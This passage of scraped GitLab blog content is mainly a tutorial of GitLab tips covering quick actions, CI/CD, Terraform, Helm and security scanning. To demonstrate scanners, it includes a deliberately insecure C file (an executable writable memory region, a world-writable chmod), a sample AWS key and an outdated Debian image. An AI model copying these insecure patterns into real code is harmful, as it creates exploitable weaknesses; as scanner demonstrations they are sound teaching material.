skills.\n\n### 2. Expand your education\n\nEmployers also are looking for DevOps professionals to continue to increase their skill set, such as learning new coding languages and scripting skills, according to Glassdoor and Robert Half.\nDevOps professionals also should stay up-to-date on new frameworks, automation, data management and security systems. And don’t forget the importance of analytics skills, configuration management and DevOps platforms. As we all know, technology is a moving target and being able to not only use the latest technology but also explain its importance to executives and other business leaders will make you a more valuable employee.\n\n### 3. Pursue certifications\n\nWant to show your employer - or a future employer - that you have the skills to work on a business-critical DevOps platform? The proof is sometimes in the certification. Think about getting certified in [Kubernetes](https://training.linuxfoundation.org/certification/certified-kubernetes-application-developer-ckad/), [Docker](https://prod.examity.com/docker/), Puppet or [Ansible](https://www.redhat.com/en/services/training/ex407-red-hat-certified-specialist-in-ansible-automation-exam?section=Overview). And of course there’s an option to become a [GitLab Certified Associate](https://about.gitlab.com/services/education/gitlab-certified-associate/). Certifications help an employer understand your functional knowledge of their business systems.\n\n### 4. Improve your soft skills \n\nYes, it’s critical that you know how to make the technology work and how to keep projects running on time and on budget, but you also should concentrate on “soft skills,” like communication, collaboration and leadership, if you’re aiming to qualify for a better salary. In 2020 our survey takers all agreed that soft skills were the most important thing for their future careers, and they remained the second choice of most survey takers this year as well. \n\nCompanies need professionals who understand the business’ needs, can communicate how a DevOps platform can solve key challenges and can explain the competitive advantage gained from a strong DevOps strategy. Soft skills enable professionals to operate as a team, endure stressful moments and work through difficult problems.\n\nDevOps professionals are in demand, putting you in a strong earning position. So make sure you are doing all you can to show you deserve a higher salary.\n\n## Read more on DevOps careers: \t\t\n\n- [Best advice for your DevOps career? Keep on learning](/blog/best-advice-for-your-devops-career-keep-on-learning/)\n\n- [6 tips to make software developer hiring easier](/blog/6-tips-to-make-software-developer-hiring-easier/)\n\n- [DevOps salaries in 2021: Where do you rank?](/blog/a-look-at-devops-salaries/)\n\n- [Have DevOps jobs to fill? Try these 3 strategies to hire and retain](/blog/have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain/)\n\n",[7715,4103,9297],{"slug":16874,"featured":6,"template":678},"four-tips-to-increase-your-devops-salary","content:en-us:blog:four-tips-to-increase-your-devops-salary.yml","Four Tips To Increase Your Devops Salary","en-us/blog/four-tips-to-increase-your-devops-salary.yml","en-us/blog/four-tips-to-increase-your-devops-salary",{"_path":16880,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16881,"content":16886,"config":16891,"_id":16893,"_type":16,"title":16894,"_source":17,"_file":16895,"_stem":16896,"_extension":20},"/en-us/blog/top-10-gitlab-hacks",{"title":16882,"description":16883,"ogTitle":16882,"ogDescription":16883,"noIndex":6,"ogImage":15224,"ogUrl":16884,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16884,"schema":16885},"Top ten GitLab hacks for all stages of the DevOps Platform","Get the most out of the GitLab DevOps Platform with our ten best tips for enhanced productivity.","https://about.gitlab.com/blog/top-10-gitlab-hacks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top ten GitLab hacks for all stages of the DevOps Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2021-10-19\",\n      }",{"title":16882,"description":16883,"authors":16887,"heroImage":15224,"date":16888,"body":16889,"category":962,"tags":16890},[4808],"2021-10-19","\nIt's been ten years since the first commit to GitLab, so we are sharing our ten favorite GitLab hacks to help you get the most out of our DevOps Platform. These are tips for all stages of the development lifecycle, so roll up your sleeves and let's get started.\n\n## Manage faster with quick actions\n\nYou might have adopted keyboard shortcuts for faster navigation and workflows already - if not, check out the GitLab documentation for [platform specific shortcuts](https://docs.gitlab.com/ee/user/shortcuts.html). The knowledge of pressing `r` to land in the reply to comment in text form can be combined with other quick actions, including:\n\n```\n/assign_reviewer @ \u003Csearch username>\n\n/label ~ \u003Csearch label>\n/label ~enhancement ~workflow::indev\n\n/due Oct 8\n\n/rebase\n\n/approve\n\n/merge \n```\n\nQuick actions are also helpful if you have to manage many issues, merge requests and epics at the same time. There are specific actions which allow you to duplicate existing issues, as one example. \n\nTake a deeper dive into [Quick Actions](/blog/improve-your-gitlab-productivity-with-these-10-tips/). \n\n## Plan instructions with templates\n\nDon’t fall into the trap of back-and-forth with empty issue descriptions that leave out details your development teams need to reproduce the error in the best way possible. \n\nGitLab provides the possibility to use so-called [description templates](https://docs.gitlab.com/ee/user/project/description_templates.html) in issues and merge requests. Next to providing a structured template with headings, you can also add [task lists](https://docs.gitlab.com/ee/user/markdown.html#task-lists) which can later be ticked off by the assignee. Basically everything is possible and is supported in GitLab-flavored markdown and HTML.\n\nIn addition to that, you can combine the static description templates with quick actions. This allows you to automatically set labels, assignees, define due dates, and more to level up your productivity with GitLab. \n\n```\n\u003C!-- \nThis is a comment, it will not be rendered by the Markdown engine. You can use it to provide instructions how to fill in the template.\n--> \n\n### Summary \n\n\u003C!-- Summarize the bug encountered concisely. -->\n\n### Steps to reproduce\n\n\u003C!-- Describe how one can reproduce the issue - this is very important. -->\n\n### Output of checks\n\n\u003C!-- If you are reporting a bug on GitLab.com, write: This bug happens on GitLab.com -->\n\n#### Results of GitLab environment info\n\n\u003C!--  Input any relevant GitLab environment information if needed. -->\n\n\u003Cdetails>\n\u003Csummary>Expand for output related to app info\u003C/summary>\n\n\u003Cpre>\n\n(Paste the version details of your app here)\n\n\u003C/pre>\n\u003C/details>\n\n### Possible fixes\n\n\u003C!-- If you can, link to the line of code and suggest actions. →\n\n## Maintainer tasks\n\n- [ ] Problem reproduced\n- [ ] Weight added\n- [ ] Fix in test\n- [ ] Docs update needed\n\n/label ~\"type::bug\"\n```\n\nWhen you manage different types of templates, you can pass along the name of the template in the `issuable_template` parameter, for example `https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20proposal%20%23%20lean`. \n\nAt GitLab, we use description and merge request templates in many ways: [GitLab the project](https://gitlab.com/gitlab-org/gitlab/-/tree/master/.gitlab/issue_templates), [GitLab Corporate Marketing team](https://gitlab.com/gitlab-com/marketing/corporate_marketing/corporate-marketing/-/tree/master/.gitlab/issue_templates), [GitLab team member onboarding](https://gitlab.com/gitlab-com/people-group/people-operations/employment-templates/-/tree/master/.gitlab/issue_templates) and [GitLab product team](https://gitlab.com/gitlab-com/Product/-/tree/main/.gitlab/issue_templates) are just a few examples.\n\n## Create with confidence \n\nWhen reading GitLab issues and merge requests, you may see the abbreviation `MWPS` which means `Merge When Pipeline Succeeds`. This is an efficient way to merge the MRs when the pipeline passes all jobs and stages - you can even combine this workflow with [automatically closing issues](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#closing-issues-automatically) with keywords from the MR.\n\n`Merge When Pipeline Succeeds` also works on the CLI with the `git` command and [push options](https://docs.gitlab.com/ee/user/project/push_options.html). That way you can create a merge request from a local Git branch, and set it to merge when the pipeline succeeds.\n\n```shell\n# mwps BRANCHNAME\nalias mwps='git push -u origin -o merge_request.create -o merge_request.target=main -o merge_request.merge_when_pipeline_succeeds'\n```\n\nCheckout [this ZSH alias example](https://gitlab.com/sytses/dotfiles/-/blob/745ef9725a859dd759059f6ce283e2a8132c9b00/git/aliases.zsh#L24) in our CEO [Sid Sijbrandij](/company/team/#sytses)’s dotfiles repository. There are more push options available, and even more Git CLI tips in [our tools & tips handbook](https://handbook.gitlab.com/handbook/tools-and-tips/#terminal). One last tip: Delete all local branches where the remote branch was deleted, for example after merging a MR.\n\n```shell\n# Delete all remote tracking Git branches where the upstream branch has been deleted\nalias git_prune=\"git fetch --prune && git branch -vv | grep 'origin/.*: gone]' | awk '{print \\$1}' | xargs git branch -d\"\n```\n\nYou are not bound to your local CLI environment; take it to the cloud with [Gitpod](/blog/teams-gitpod-integration-gitlab-speed-up-development/) and either work in VS Code or the pod terminal. \n\n## Verify your CI/CD pipeline\n\nRemember the old workflow of committing a change to `.gitlab-ci.yml` just to see if it was valid, or if the job template really inherits all the attributes? This has gotten a whole lot easier with our new [pipeline editor](https://docs.gitlab.com/ee/ci/pipeline_editor/). Navigate into the `CI/CD` menu and start building CI/CD pipelines right away.\n\nBut the editor is more than just another YAML editor. You’ll get live linting, allowing you to know if there is a missing dash for array lists or a wrong keyword in use before you commit. You can also preview jobs and stages or asynchronous dependencies with `needs` to make your pipelines more efficient.\n\nThe pipeline editor also uses uses the `/ci/lint` API endpoint, and fetches the merged YAML configuration I described earlier in [this blog post about jq and CI/CD linting](/blog/devops-workflows-json-format-jq-ci-cd-lint/). That way you can quickly verify that job templates with [extends](https://docs.gitlab.com/ee/ci/yaml/#extends) and [!reference tags](https://docs.gitlab.com/ee/ci/yaml/yaml_optimization.html#reference-tags) work in the way you designed them. It also allows you to unfold included files, and possible job overrides (for example changing the stage of an [included SAST security template](https://docs.gitlab.com/ee/user/application_security/sast/#overriding-sast-jobs)).\n\nLet’s try a quick example – create a new project and new file called `server.c` with the following content: \n\n```\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Csys/mman.h>\n#include \u003Csys/stat.h>\n#include \u003Cunistd.h>\n\nint main(void) {\n    size_t pagesize = getpagesize();\n    char * region = mmap(\n        (void*) (pagesize * (1 \u003C\u003C 20)),\n        pagesize,\n        PROT_READ|PROT_WRITE|PROT_EXEC,\n        MAP_ANON|MAP_PRIVATE, 0, 0);\n\n    strcpy(region, \"Hello GitLab SAST!\");\n    printf(\"Contents of region: %s\\n\", region);\n\n    FILE *fp;\n    fp = fopen(\"devops.platform\", \"r\");\n    fprintf(fp, \"10 years of GitLab 🦊 🥳\");\n    fclose(fp);\n    chmod(\"devops.platform\", S_IRWXU|S_IRWXG|S_IRWXO);\n\n    return 0;\n}\n```\n\nOpen the CI/CD pipeline editor and add the following configuration, with an extra `secure` stage assigned to the `semgrep-sast` job for SAST and the C code. \n\n```yaml\nstages:\n    - build\n    - secure\n    - test\n    - deploy\n\ninclude:\n    - template: Security/SAST.gitlab-ci.yml\n\nsemgrep-sast:\n    stage: secure\n```\n\nInspect the `Merged YAML tab` to see the fully compiled CI/CD configuration. You can commit the changes and check the found vulnerabilities too as an async practice :). The examples are available in [this project](https://gitlab.com/gitlab-de/playground/sast-10y-example).\n\n![CI/CD Pipeline editor - Merged YAML](https://about.gitlab.com/images/blogimages/top-10-gitlab-hacks/gitlab_10y_pipeline_editor_view_merged_yaml.png)\nVerify the stage attribute for the job by opening the `view merged YAML` tab in the CI/CD pipeline editor.\n{: .note.text-center}\n\n## Package your applications\n\nThe [package registry](https://docs.gitlab.com/ee/user/packages/) possibilities are huge and there are more languages and package managers to come. Describing why Terraform, Helm, and containers (for infrastructure) and Maven, npm, NuGet, PyPI, Composer, Conan, Debian, Go and Ruby Gems (for applications) are so awesome would take too long, but it's clear there are plenty of choices. \n\nOne of my favourite workflows is to use existing CI/CD templates to publish container images in the GitLab container registry. This makes continuous delivery much more efficient, such as when deploying the application into your Kubernetes cluster or AWS instances. \n\n```yaml\ninclude:\n  - template: 'Docker.gitlab-ci.yml'\n```\n\nIn addition to including the CI/CD template, you can also override the job attributes and define a specific stage and manual non-blocking rules.\n\n```yaml\nstages:\n  - build\n  - docker-build\n  - test\n\ninclude:\n  - template: 'Docker.gitlab-ci.yml'\n\n# Change Docker build to manual non-blocking\ndocker-build:\n  stage: docker-build\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH'\n      when: manual \n      allow_failure: true\n```\n\nFor celebrating #10YearsOfGitLab, we have created a [C++ example](https://gitlab.com/gitlab-de/cicd-tanuki-cpp) with an Easter egg on time calculations. This project also uses a Docker builder image to showcase a more efficient pipeline. Our recommendation is to learn using the templates in a test repository, and then create a dedicated group/project for managing all required container images. You can think of builder images which include the compiler tool chain, or specific scripts to run end-to-end tests, etc. \n\n## Secure your secrets\n\nIt is easy to leak a secret by making choices that uncomplicate a unit test by running it directly with the production database. The secret persists in git history, and someone with bad intentions gains access to private data, or finds ways to exploit your supply chain even further. \n\nTo help prevent that, include the CI/CD template for secret detection. \n\n```yaml\nstages:\n    - test\n\ninclude:\n  - template: Security/Secret-Detection.gitlab-ci.yml  \n```\n\nA known way to leak secrets is committing the `.env` file which stores settings and secrets in the repository. Try the following snippet by adding a new file `.env` and create a merge request.\n\n```\nexport AWS_KEY=\"AKIA1318109798ABCDEF\"\n```\n\nInspect the reports JSON to see the raw reports structure. GitLab Ultimate provides an MR integration, a security dashboard overview, and more features to take immediate action. The example can be found in [this project](https://gitlab.com/gitlab-de/playground/secret-scanning-10y-example).\n\n![Secrets Scanning in MR](https://about.gitlab.com/images/blogimages/top-10-gitlab-hacks/gitlab_10y_secrets_scanning.png)\nMR detail view with detected AWS secret from security scanning\n{: .note.text-center}\n\n## Release and continuously deliver (CD)\n\nGitLab’s release stage provides many [features](https://about.gitlab.com/handbook/product/categories/features/#release), including [canary deployments](https://docs.gitlab.com/ee/user/project/canary_deployments.html) and [GitLab pages](https://docs.gitlab.com/ee/user/project/pages/). There are also infrastructure deployments with Terraform and cloud native (protected) [environments](https://docs.gitlab.com/ee/ci/environments/). \n\nWhile working on a CI/CD pipeline efficiency workshop, I got enthusiastic about [parent-child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html#parent-child-pipelines) allowing non-blocking child pipelines into production, with micro services in Kubernetes as one example. \n\nLet’s try it! Create a new project, and add 2 child pipeline configuration files: `child-deploy-staging.yml` and `child-deploy-prod.yml`. The naming is important as the files will be referenced in the main `.gitlab-ci.yml` configuration file later. The jobs in the child pipelines will sleep for 60 seconds to simulate a deployment. \n\nchild-deploy-staging.yml:\n\n```yaml\ndeploy-staging:\n    stage: deploy\n    script:\n        - echo \"Deploying microservices to staging\" && sleep 60\n```\n\nchild-deploy-prod.yml\n\n```yaml\ndeploy-prod:\n    stage: deploy\n    script:\n        - echo \"Deploying microservices to prod\" && sleep 60\n\nmonitor-prod:\n    stage: deploy\n    script:\n        - echo \"Monitoring production SLOs\" && sleep 60\n```\n\nNow edit the `.gitlab-ci.yml` configuration file and create a build-test-deploy stage workflow.\n\n```yaml\nstages:\n  - build\n  - test\n  - deploy\n\nbuild:\n  stage: build\n  script: echo \"Build\"\n\ntest:\n  stage: test \n  script: echo \"Test\"\n\ndeploy-staging-trigger:\n  stage: deploy\n  trigger:\n    include: child-deploy-staging.yml\n  #rules:\n  #  - if: $CI_MERGE_REQUEST_ID\n\ndeploy-prod-trigger:\n  stage: deploy\n  trigger:\n    include: child-deploy-prod.yml\n    #strategy: depend\n  #rules:\n  #  - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH   \n```\n\nCommit the changes and inspect the CI/CD pipelines. \n\n![Parent-child Pipelines](https://about.gitlab.com/images/blogimages/top-10-gitlab-hacks/gitlab_10y_parent_child_pipelines.png)\nView parent-child pipelines in GitLab\n{: .note.text-center}\n\n`strategy: depends` allows you to make the child pipelines blocking again, and the parent child pipeline waits again. Try uncommenting this for the prod job, and verify that by inspecting the pipeline view. [Rules](https://docs.gitlab.com/ee/ci/yaml/#rules) allow refining the scope when jobs are being run, such as when staging child pipelines that should only be run in merge requests and the prod child pipeline only gets triggered when on the default main branch. The full example can be found in [this project](https://gitlab.com/gitlab-de/playground/parent-child-pipeline-10y-example).\n\nTip: You can use [resource_groups](/blog/introducing-resource-groups/) to limit production deployments from running concurrent child pipelines. \n\n## Configure your infrastructure\n\nTerraform allows you to describe, plan and apply the provisioning of infrastructure resources. The workflow requires a state file to be stored over steps, where the [managed state in GitLab](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform_state.html) as an HTTP backend is a great help, together with predefined container images and CI/CD templates to make [Infrastructure as code](https://docs.gitlab.com/ee/user/infrastructure/iac/) as smooth as possible.\n\nYou can customize the template, or copy the CI/CD configuration into .gitlab-ci.yml and modify the steps by yourself. Let’s try a quick example with only an AWS account and an IAM user key pair. Configure them as CI/CD variables in `Settings > CI/CD > Variables`: `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY`.\n\nNext, create the `backend.tf` file and specify the http backend and AWS module dependency.\n\n```terraform\nterraform {\n  backend \"http\" {\n  }\n\n  required_providers {\n    aws = {\n      source = \"hashicorp/aws\"\n      version = \"~> 3.0\"\n    }\n  }\n}\n```\n\nCreate `provider.tf` to specify the AWS region.\n\n```terraform\nprovider \"aws\" {\n  region = \"us-east-1\"\n}\n```\n\nThe `main.tf` describes the S3 bucket resources.\n\n```terraform\nresource \"aws_s3_bucket_public_access_block\" \"publicaccess\" {\n  bucket = aws_s3_bucket.demobucket.id\n  block_public_acls = false\n  block_public_policy = false\n}\n\nresource \"aws_s3_bucket\" \"demobucket\" {\n  bucket = \"terraformdemobucket\"\n  acl = \"private\"\n}\n```\n\nTip: You can verify the configuration locally on your CLI by commenting out the HTTP backend above.\n\nFor GitLab CI/CD, open the pipeline editor and use the following configuration: (Note that it is important to specify the `TF_ROOT` and `TF_ADDRESS` variables since you can [manage multiple Terraform state files](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform_state.html#configure-the-backend)). \n\n```yaml\nvariables:\n  TF_ROOT: ${CI_PROJECT_DIR}\n  TF_ADDRESS: ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/terraform/state/${CI_PROJECT_NAME}\n\ninclude:\n    - template: Terraform.latest.gitlab-ci.yml\n\nstages:\n  - init\n  - validate\n  - build\n  - deploy\n  - cleanup\n\ndestroy:\n    stage: cleanup\n    extends: .terraform:destroy \n    when: manual\n    allow_failure: true\n```\n\nCommit the configuration and inspect the pipeline jobs. \n\n![Terraform pipeline AWS S3 bucket](https://about.gitlab.com/images/blogimages/top-10-gitlab-hacks/gitlab_10y_terraform_state_cicd_pipeline_aws_s3_bucket.png)\nAWS S3 bucket provisioned with Terraform in GitLab CI/CD \n{: .note.text-center}\n\nThe `destroy` job is not created in the template and therefore explicitly added as a manual job. It is recommended to review the opinionated Terraform CI/CD template and copy the jobs into your own configuration to allow for further modifications or style adjustments.  The full example is located in [this project](https://gitlab.com/gitlab-de/playground/terraform-aws-state-10y-example).\n\n![GitLab managed Terraform states](https://about.gitlab.com/images/blogimages/top-10-gitlab-hacks/gitlab_10y_terraform_state_cicd_overview.png)\nView the Terraform states in GitLab\n{: .note.text-center}\n\nHat tipping to our Package stage - you can manage and publish [Terraform modules in the registry](https://docs.gitlab.com/ee/user/packages/terraform_module_registry/) too, using all of the DevOps Platform advantages. And hot off the press, the [GitLab Kubernetes Operator is generally available](/blog/open-shift-ga/). \n\n## Monitor GitLab and dive into Prometheus\n\nPrometheus is a monitoring solution which collects metrics from `/metrics` HTTP endpoints made available by applications, as well as so-called exporters to serve services and host information in the specified metrics format. One example is CI/CD pipeline insights to analyse bottlenecks and [make your pipelines more efficient](https://docs.gitlab.com/ee/ci/pipelines/pipeline_efficiency.html). The [GitLab CI Pipeline Exporter project](https://github.com/mvisonneau/gitlab-ci-pipelines-exporter/tree/main/examples/quickstart) has a great quick start in under 5 minutes, bringing up demo setup with Docker-compose, Prometheus and Grafana. From there, it is not far into your production monitoring environment, and monitoring more of GitLab. \n\n![GitLab CI Exporter](https://about.gitlab.com/images/blogimages/top-10-gitlab-hacks/gitlab_10y_ci_pipeline_exporter_prometheus.png)\nExample dashboard for the GitLab CI Pipeline Exporter\n{: .note.text-center}\n\nThe Prometheus Exporter uses the [Go client libraries](https://prometheus.io/docs/instrumenting/writing_exporters/). They can be used to write your own exporter, or instrument your application code to expose `/metrics`. When deployed, you can use Prometheus again to monitor the performance of your applications in Kubernetes, as one example. Find more monitoring ideas in my talk “[From Monitoring to Observability: Left Shift your SLOs](https://docs.google.com/presentation/d/1LPb-HPMgbc8_l98VjMEo5d0uYlnNnAtJSURngZPWDdE/edit)”. \n\n## Protect\n\nYou can enable security features in GitLab by including the CI/CD templates one by one. A more easy way is to enable [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) and use the default best practices for [security scans](https://docs.gitlab.com/ee/user/application_security/index.html#security-scanning-with-auto-devops). This includes [container scanning](https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-container-scanning) ensuring that application deployments are not vulnerable on the container OS level. \n\nLet’s try a quick example with a potentially vulnerable image, and the Docker template tip from the Package stage above. Create a new `Dockerfile` in a new project:\n\n```yaml\nFROM debian:10.0 \n```\n\nOpen the pipeline editor and add the following CI/CD configuration:\n\n```yaml\n# 1. Automatically build the Docker image\n# 2. Run container scanning. https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html\n# 3. Inspect `Security & Compliance > Security Dashboard`\n\n# For demo purposes, scan the latest tagged image from 'main'\nvariables:\n    DOCKER_IMAGE: $CI_REGISTRY_IMAGE:latest    \n\ninclude:\n    - template: Docker.gitlab-ci.yml\n    - template: Security/Container-Scanning.gitlab-ci.yml\n```\n\nThe full example is located in [this project](https://gitlab.com/gitlab-de/playground/container-scanning-10y-example).\n\nTip: Learn more about [scanning container images in a deployed Kubernetes cluster](https://docs.gitlab.com/ee/user/application_security/container_scanning/) to stay even more safe. \n\n![Container Scanning Vulnerability Report](https://about.gitlab.com/images/blogimages/top-10-gitlab-hacks/gitlab_10y_container_scanning_vulnerability_report.png)\nView the container scanning vulnerability report\n{: .note.text-center}\n\n## What’s next?\n\nWe have tried to find a great “hack” for each stage of the DevOps lifecycle. There are more hacks and hidden gems inside GitLab - share yours and be ready to explore more stages of the DevOps Platform.\n\nCover image by [Alin Andersen](https://unsplash.com/photos/diUGN5N5Rrs) on [Unsplash](https://unsplash.com)\n",[696,4103,1444],{"slug":16892,"featured":6,"template":678},"top-10-gitlab-hacks","content:en-us:blog:top-10-gitlab-hacks.yml","Top 10 Gitlab Hacks","en-us/blog/top-10-gitlab-hacks.yml","en-us/blog/top-10-gitlab-hacks",{"_path":16898,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16899,"content":16904,"config":16910,"_id":16912,"_type":16,"title":16913,"_source":17,"_file":16914,"_stem":16915,"_extension":20},"/en-us/blog/improve-cd-workflows-helm-chart-registry",{"title":16900,"description":16901,"ogTitle":16900,"ogDescription":16901,"noIndex":6,"ogImage":10382,"ogUrl":16902,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16902,"schema":16903},"Get started with GitLab's Helm Package Registry","Improve CD workflows and speed up application deployment using our new Helm Package Registry.","https://about.gitlab.com/blog/improve-cd-workflows-helm-chart-registry","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get started with GitLab's Helm Package Registry\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Philip Welz\"}],\n        \"datePublished\": \"2021-10-18\",\n      }",{"title":16900,"description":16901,"authors":16905,"heroImage":10382,"date":16907,"body":16908,"category":962,"tags":16909},[16906],"Philip Welz","2021-10-18","\n\nIn our 14.1 release, we offered the ability to add Helm charts to the GitLab Package Registry. Here's everything you need to know to leverage application deployment with these new features.\n\n## The role of container images\n\nThe de-facto standard is to package applications into [OCI Images](https://github.com/opencontainers/image-spec) which are often just referred to as `container images` and more often as `Docker containers`. The [Open Container Initiative](https://opencontainers.org/) was launched in 2015 by Docker and other companies to define industry standards around container image formats and runtimes. GitLab introduced an OCI conform [Container Registry](/blog/gitlab-container-registry/) with the release of [GitLab 8.8](/releases/2016/05/22/gitlab-8-8-released/) in May 2016.\n\nToday, a common and widely adopted approach is to deploy applications with [Helm charts](https://helm.sh/) to [Kubernetes](https://kubernetes.io/). This will be covered in this blog together with the feature release in [GitLab 14.1](/releases/2021/07/22/gitlab-14-1-released/) of adding Helm Charts to the [GitLab Package Registry](https://docs.gitlab.com/ee/user/packages/package_registry/).\n\n### Install software to Kubernetes\n\nIn the DevOps era, [APIs](https://en.wikipedia.org/wiki/API) became incredibly popular, helping to drive demand for Kubernetes.\n\nThe core of Kubernetes' control plane is the API server. The API server exposes an HTTP REST API that lets end users, different parts of your cluster, and external components communicate with one another.\n\nTo interact with the API server we can use the command-line tool [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) - although it would be also possible to use software development kits (SDKs) or any client that understands REST like curl that was released 1997.\n\nBut which data format is best to use?\n\nModern APIs most likely use JSON. JSON is a human-readable format that provides provide access to machine-readable data. Here is an example for Kubernetes:\n\n```json\n{\n    \"kind\": \"Pod\",\n    \"apiVersion\": \"v1\",\n    \"metadata\": {\n        \"name\": \"nginx\",\n        \"creationTimestamp\": null,\n        \"labels\": {\n            \"run\": \"nginx\"\n        }\n    },\n    \"spec\": {\n        \"containers\": [\n            {\n                \"name\": \"nginx\",\n                \"image\": \"nginx\",\n                \"resources\": {}\n            }\n        ],\n        \"restartPolicy\": \"Always\",\n        \"dnsPolicy\": \"ClusterFirst\"\n    },\n    \"status\": {}\n}\n```\n\nOne downside of JSON is that comments are not supported. That is one several reasons why YAML stepped in and took the spot as the de-facto language to use for declarative configurations. The Kubernetes API transforms YAML to JSON behind the scenes. As you can easily convert back and forth between both, YAML tends to be more user-friendly. Nginx example Pod in YAML:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    run: nginx\n  name: nginx\nspec:\n  Containers:\n  # NOTE: If no tag is specified latest will be used\n  - image: nginx\n    name: nginx\n    # TODO\n    resources: {}\n  dnsPolicy: ClusterFirst\n  restartPolicy: Always\nstatus: {}\n```\n\nNow you are ready to save our YAML code in a file called `nginx.yaml` and deploy it into Kubernetes:\n\n```shell\n$ kubectl apply --filename=nginx.yaml \n```\n\n### Create a Helm chart\n\nApplying YAML configuration files can get overwhelming, especially when needing to deploy into several environments or wanting to version the manifests. It is also cumbersome to maintain plain YAML files for more complex deployments which can easily extend to more than 1000 lines per file.\n\nInstead, how about using a format that packages our applications and makes them easily reproducible with templates? How about adding our own versioning scheme to this packaged application? How about deploying the same version with a few lines of code to multiple environments? This all comes with Helm.\n\nTo create a Helm package you have to ensure that the Helm CLI is [installed](https://helm.sh/docs/intro/install/) on your system (example with Homebrew on macOS: `brew install helm`).\n\n```shell\n$ helm create nginx \n```\n\nInspect the created Helm boilerplate files with `ls -lR` or `tree` on the CLI. This Helm chart can also be tested in a sandbox environment to verify it is operational.\n\n```shell\n.\n├── Chart.yaml\n├── charts\n├── templates\n│   ├── NOTES.txt\n│   ├── _helpers.tpl\n│   ├── deployment.yaml\n│   ├── hpa.yaml\n│   ├── ingress.yaml\n│   ├── service.yaml\n│   ├── serviceaccount.yaml\n│   └── tests\n│       └── test-connection.yaml\n└── values.yaml\n```\n\nNOTE: You can read more about the starter Chart [here](https://helm.sh/docs/chart_template_guide/getting_started/).\n\nKindly Helm creates a starter chart directory along with the common files and directories used in a chart with NGINX as an example. We again can install this into our Kubernetes cluster:\n\n```shell\n$ helm install nginx .\n```\n\n### Package Distribution\n\nThus far, we have learned that applications are packaged in containers and are installed using a Helm chart. Both methods require central distribution storage that is publicly accessible, or accessible in your local network environment where the Kubernetes clusters are running.\n\nThe Helm documentation provides insights on [running your own Helm registry](https://helm.sh/docs/topics/registries/), similar to hosting your own Docker container registry.\n\nWhat if we could avoid Do It Yourself DevOps and have both containers and Helm charts in one central DevOps platform? After maturing the [container registry in GitLab](https://docs.gitlab.com/ee/user/packages/container_registry/), community contributors helped add the [Helm chart registry](https://docs.gitlab.com/ee/user/packages/helm_repository/index.html) in 14.1.\n\nBuilding the container image and Helm chart is part of the CI/CD pipeline stages and jobs. The missing bit is the automated production deployment using Helm charts in your Kubernetes cluster.\n\nAn additional benefit in CI/CD is reusing the authentication mechanism, and working in the same trust environment with security jobs before actually uploading and publishing any containers and charts.\n\n### Build the Helm Chart\n\n```shell\n$ helm package nginx \n```\n\nThe command creates a new tar.gz archive ready to upload. Before doing so, you can inspect the archive with the `tar` command to verify its content.\n\n```shell\n$ tar ztf nginx-0.1.0.tgz\n\nnginx/Chart.yaml\nnginx/values.yaml\nnginx/templates/NOTES.txt\nnginx/templates/_helpers.tpl\nnginx/templates/deployment.yaml\nnginx/templates/hpa.yaml\nnginx/templates/ingress.yaml\nnginx/templates/service.yaml \nnginx/templates/serviceaccount.yaml\nnginx/templates/tests/test-connection.yaml\nnginx/.helmignore\n```\n\n### Push the Helm chart to the registry\n\nWith the [helm-push](https://github.com/chartmuseum/helm-push/#readme) plugin for Helm we can now upload the chart to the GitLab Helm Package Registry:\n\n```shell\n$ helm repo add --username \u003Cusername> --password \u003Cpersonal_access_token> \u003CREGISTRY_NAME> https://gitlab.com/api/v4/projects/\u003Cproject_id>/packages/helm/stable\n$ helm push nginx-0.1.0.tgz nginx\n```\n\nThis step should be automated for a production-ready deployment with a GitLab CI/CD job.\n\n```yaml\ndefault:\n  image: dtzar/helm-kubectl\n  before_script:\n    - 'helm repo add --username gitlab-ci-token --password ${CI_JOB_TOKEN} ${CI_PROJECT_NAME} ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/helm/stable'\nstages:\n  - upload\nupload:\n  stage: upload\n  script:\n    - 'helm plugin install https://github.com/chartmuseum/helm-push.git'\n    - 'helm push ./charts/podtatoserver-0.1.0.tgz ${CI_PROJECT_NAME}'\n```\n\n### Install the Helm chart\n\nFirst, add the Helm chart registry to your local CLI configuration and test the manual installation.\n\n```shell\n$ helm repo add --username \u003Cusername> --password \u003Cpersonal_access_token> \u003CREGISTRY_NAME> https://gitlab.com/api/v4/projects/\u003Cproject_id>/packages/helm/stable\n$ helm install --name nginx \u003CREGISTRY_NAME>/nginx\n```\n\nOnce it works, you can continue with adding an automated installation job into the CI/CD pipeline.\n\n```yaml\ndefault:\n  image: alpine/helm\n  before_script:\n    - 'helm repo add --username gitlab-ci-token --password ${CI_JOB_TOKEN} ${CI_PROJECT_NAME} ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/helm/stable'\nstages:\n  - install\nupload:\n  stage: install\n  script:\n    - 'helm repo update'\n    - 'helm install --name nginx 